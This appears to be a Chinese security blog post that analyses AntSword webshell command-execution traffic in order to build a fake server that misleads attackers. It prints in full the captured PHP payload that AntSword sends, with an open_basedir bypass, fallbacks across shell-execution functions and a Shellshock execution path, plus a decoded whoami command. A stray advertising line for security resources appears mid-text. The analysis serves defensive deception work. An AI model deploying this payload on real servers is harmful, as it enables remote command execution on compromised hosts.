前言
这篇文章主要是以虚拟终端模块执行命令功能为例，逐步分析，并通过分析结果优化对应脚本的方法。
前情回顾
已经解决了初步认证的问题
经分析，通过连通密钥首即可通过蚁剑的认证，达到连接成功的目的，但是连接成功后会出现这种情况。
所以我进行初步猜测，虚拟终端初始化没有问题，执行命令出现问题，所以我最开始的分析就先从执行命令功能开始进行。
【一>所有资源获取<一】 1、200份很多已经买不到的绝版电子书 2、30G安全大厂内部的视频资料 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包
一、流量分析
首先我们抓一个虚拟终端的执行命令请求包进行初步的分析，之后我们将数据流进行URL解码。
PS：为了大家方便查看，我将请求格式化后贴在了下面。
f72002fb14c8e8 = SEY2QgL2QgIkM6L3BocHN0dWR5X3Byby9XV1cveWpmeiImd2hvYW1pJmVjaG8gOGIyMjZlNDQmY2QmZWNobyA5ZGI3Zjg4Yzg3 & lefdf77c8e3d95 = yBY21k & pota123 = @ini_set("display_errors", "0");@
set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$oparr = preg_split("/\\\\|\//", $opdir);
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$tmdir = ".5062e111e";@
mkdir($tmdir);@
chdir($tmdir);@
ini_set("open_basedir", "..");
for ($i = 0; $i < sizeof($oparr); $i++) {@
chdir("..");
}@
ini_set("open_basedir", "/");@
rmdir($ocwd.
"/".$tmdir);
};
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "6d29".
"1125";
echo@ asenc($output);
echo "699".
"aa2b";
}
ob_start();
try {
$p = base64_decode(substr($_POST["lefdf77c8e3d95"], 2));
$s = base64_decode(substr($_POST["f72002fb14c8e8"], 2));
$envstr = @base64_decode(substr($_POST["w641c9ee55f10c"], 2));
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {@
putenv("PATH=".getenv("PATH").
":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {@
putenv("PATH=".getenv("PATH").
";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
} if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {@
putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
function fe($f) {
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("[email protected]", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);@
unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
function runcmd($c) {
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {@
system($c, $ret);
}
elseif(fe('passthru')) {@
passthru($c, $ret);
}
elseif(fe('shell_exec')) {
print(@shell_exec($c));
}
elseif(fe('exec')) {@
exec($c, $o, $ret);
print(join("
", $o));
}
elseif(fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print(@fgets($fp, 2048));
}@
pclose($fp);
}
elseif(fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print(@fgets($io[1], 2048));
}
while (!@feof($io[2])) {
print(@fgets($io[2], 2048));
}@
fclose($io[1]);@
fclose($io[2]);@
proc_close($p);
}
elseif(fe('antsystem')) {@
antsystem($c);
}
elseif(runshellshock($d, $c)) {
return $ret;
}
elseif(substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w - > exec($c);
$so = $e - > StdOut();
$ret. = $so - > ReadAll();
$se = $e - > StdErr();
$ret. = $se - > ReadAll();
print($ret);
} else {
$ret = 127;
}
return $ret;
};
$ret = @runcmd($r.
" 2>&1");
print($ret != 0) ? "ret={$ret}" : "";;
} catch (Exception $e) {
echo "ERROR://".$e - > getMessage();
};
asoutput();
die(); & w641c9ee55f10c = Ut
复制代码通过数据包的请求和响应我们取出最关键的两处。
通过初步分析我们得知一个信息，请求内容的核心代码位置存在关键的变量引用，这点开始引起了我的重视。（最后分析过全部功能后，把这块弄明白可以解决全部功能的问题）
PS：执行命令流量包的特征我就不写了，可以自行去分析流量包寻找特征。
二、代码分析
通过流量分析我们得到了一处变量串，并且得知解码方式，我们写个函数先给内容解密一下看看。
f72002fb14c8e8=SEY2QgL2QgIkM6L3BocHN0dWR5X3Byby9XV1cveWpmeiImd2hvYW1pJmVjaG8gOGIyMjZlNDQmY2QmZWNobyA5ZGI3Zjg4Yzg3&lefdf77c8e3d95=yBY21k&pota123=@ini_set("display_errors", "0")
复制代码我们解密后得知变量的内容为到这里，我们已经获取了执行命令的唯一特征。（PS：这里我们可以直接通过对base64编码的方式来确定命令内容，具体细节就不多说了懂的都懂。）
cd /d "C:/phpstudy_pro/WWW/yjfz"&whoami&echo 8b226e44&cd&echo 9db7f88c87
复制代码我们现在已经可以确定命令特征了，通过流量分析得到的特征，稍作修改我们就可以实现虚拟终端的全部功能了。但是我们还有一个关键问题没有解决，”返回连接那里执行命令返回一次内容后，路径发生变化导致后续命令执行失败“
三、整合分析
这块其实卡了很久，一直想为什么，按理来说，认证通过了命令也能成功解析应该是不会出现这个问题才对的，难道说请求包里有内容在控制路径？或者说这块的信息是当前路径？带着这种思路我打开了蚁剑的源码开始分析。
终于我找到了命令执行这块的核心代码，如下图。
我们可以看到这个就是我们代码分析处得到命令执行内容。我们关联一下两者之间的关系。
`cd "${path}";${cmd};echo [S];(pwd).path;echo [E]` :
`cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]` :
`cd "${path}";${cmd};echo [S];pwd;echo [E]`);
复制代码cd /d "C:/phpstudy_pro/WWW/yjfz"&whoami&echo 8b226e44&cd&echo 9db7f88c87
复制代码我们很容易就可以看出来 8b226e44 9db7f88c87就是对应的[S] [E]，可是[S][E]是什么东西呢，难道是认证么，我们回过头来去分析流量包。
OK，问题解决了，也就是说我们接受到数据后，只返回了第一步认证（这里我叫做连通性密钥），而我们没有通过第二步认证（[S]当前路径[E]），所以我们的蚁剑就只获取到了win-raf7i2l9ph1\potato这一个有效数据，自然而然在当前路径处渲染了win-raf7i2l9ph1\potato的内容了。所以我们命令执行只需要构造这样一个请求包
四、实现效果
最后只需要编写对应的脚本，这里我提醒一下大家，执行命令的数据包有两种特征。
后语
思路篇写的太急了，今天抽时间写了分析篇，主要拿命令执行这块来举例，其他功能虽然和命令执行特征不完全一样，但是也都是这个思路。这个手法我觉得最重要的是怎么让攻击者按照你的思路来走，一步一步降低他的防备心，最后落入你的反（PIAN）制 (JU) 当中去。